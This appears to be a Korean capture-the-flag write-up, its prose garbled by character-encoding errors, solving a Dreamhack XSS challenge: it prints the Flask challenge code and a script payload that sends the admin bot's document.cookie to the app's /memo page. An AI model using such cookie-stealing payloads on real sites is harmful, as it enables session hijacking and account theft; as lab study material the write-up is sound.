๋ฌธ์ ํด์
/vuln ํ์ด์ง
/vuln ๋ผ์ฐํฐ๋ ํ๋ผ๋ฏธํฐ ๊ฐ์ ๊ทธ๋๋ก html์ ๋๋๋ง ํด์ฃผ๊ธฐ ๋๋ฌธ์ XSS ์ทจ์ฝ์ ์ ๋ณด์ ํ๊ณ ์๋ค.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
๊ทธ๋์ http://127.0.0.1:8000?param=<script>alert(1);</script> ์ ๋๊ฒผ์ ๋, ์๋์ ๋ค์๊ณผ ๊ฐ์ด ์ฝ๋๊ฐ ์คํ๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
/memo ํ์ด์ง
ํ๋ผ๋ฏธํฐ๋ก ๋๊ธด memo ๊ฐ์ ๋ํด ๊ณ์ ์ด์ด๋ถ์ฌ ๋๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\\n"
return render_template("memo.html", memo=memo_text)
/flag ํ์ด์ง
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
## ์ด ํจ์๋ฅผ ํตํด์๋ง FLAG ํ๋ํ ์ ์๋ค.
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
check_xss ํจ์
check_xss ํจ์๋ param ๊ฐ์ url์ ๋ด์ read_url ํจ์๋ก ์ ๋ฌํ๋ค. urllib.parse.quote(param) ํจ์๋ ๋ฌธ์์ด์ ์ธ์ฝ๋ฉํ์ฌ URL์ ์์ ํ๊ฒ ํฌํจ๋ ์ ์๋๋ก ํ๋ค.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"
return read_url(url, cookie)
read_url ํจ์
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
...
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("<http://127.0.0.1:8000/>")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
read_url ํจ์๋ฅผ ์ดํด๋ณด๋ฉด,
- driver.get(’http://127.0.0.1.8000/’) ⇒ ๋ก์ปฌ ํธ์คํธ ํ๊ฒฝ์์ ์น ํ์ด์ง๋ฅผ ์ ์ํ๋ค.
- driver.add_cookie(cookie) ⇒ ์ ์ํ ์น ํ์ด์ง์ ๋งค๊ฐ๋ณ์๋ก ๋ฐ์์จ cookie๋ฅผ ์ถ๊ฐํ๋ค.
- driver.get(url) ⇒ ํ๋ผ๋ฏธํฐ๋ก ๋ฐ์ url์ ์ ์ํ๋ค.
ํ์ด ๋ฐฉ๋ฒ
์ ๋ฆฌํ๋ฉด, ๊ณต๊ฒฉ์๋ /vuln ๋ผ์ฐํฐ์ script ์ฝ๋๋ฅผ ์ ๋ฌํ์ฌ XSS ๊ณต๊ฒฉ์ ์ํํ ์ ์๋ค. /flag ํ์ด์ง์์ ์ ๋ ฅ์ ์ ์ถํจ์ผ๋ก ๋ก์ปฌํธ์คํธ ํ๊ฒฝ ์ฟ ํค์ FLAG๋ฅผ ์ ์ฅํ ์ ์๋ค.
๋ฐ๋ผ์ /flag ํ์ด์ง์์ ์ ๋ ฅ๊ฐ์ ํตํด memo์ FLAG๋ฅผ ์์ฑํ๋๋ก ํ๋ค.
//๊ณต๊ฒฉ๊ตฌ๋ฌธ
<script> location.href="<http://127.0.0.1:8000/memo?memo=>"+document.cookie </script>
'๐ดโโ ๏ธ CTF ๐ดโโ ๏ธ > โ๏ธ ์น โ๏ธ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dream Hack - Web] sql injection bypass WAF (0) | 2024.08.14 |
---|---|
[Dream Hack - Web] error based sql injection (0) | 2024.08.13 |
[Dream Hack - Web] csrf-2 (0) | 2024.08.07 |
[Dream Hack - Web] csrf-1 (0) | 2024.08.07 |
[Dream Hack - Web] xss-2 (0) | 2024.08.02 |